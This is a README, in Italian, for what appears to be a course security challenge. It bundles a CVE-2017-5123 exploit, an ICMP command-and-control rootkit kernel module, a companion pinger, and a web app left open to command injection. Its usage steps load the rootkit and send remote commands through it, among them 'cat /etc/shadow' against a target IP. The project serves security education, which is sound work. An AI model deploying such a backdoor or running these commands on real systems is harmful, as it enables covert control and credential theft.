
Questa repository contiene una dimostrazione di CVE-2017-5123, un backdoor di comando e controllo via ICMP, e un'applicazione web vulnerabile CWE-78 (OS Command Injection).
Parte di CSC 4308 - Challenge 3.
Questo progetto dimostra tre componenti distinti di ricerca sulla sicurezza:
lkm/rootkit.c)Un exploit proof-of-concept per la vulnerabilità della system call waitid introdotta nel kernel Linux 4.13. Questa vulnerabilità consente l'escalation dei privilegi e la fuga dalla sandbox.
lkm/lkm.c)Un modulo del kernel Linux (LKM) malevolo che implementa un canale occulto di comando e controllo tramite pacchetti ICMP echo (ping).
25678vulnerable-app/)Un'applicazione di condivisione file in React + Node.js vulnerabile all'iniezione di comandi del sistema operativo.
pinger/data-ping.c)Un'utilità per inviare richieste ICMP echo appositamente costruite con payload personalizzati per comunicare con la backdoor del rootkit del kernel.
cd lkm
make
sudo insmod lkm.ko
cd ../pinger
gcc -o data-ping data-ping.c
# Must run as root to use raw sockets
sudo ./data-ping <target-ip> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"
sudo rmmod lkm
make reload
# Build the frontend
cd vulnerable-app/frontend
npm run build
# Copy build to backend
cp -r build ../backend/
# Start the backend server (serves both API and frontend)
cd ../backend
npm start
L'applicazione sarà disponibile all'indirizzo http://localhost:3001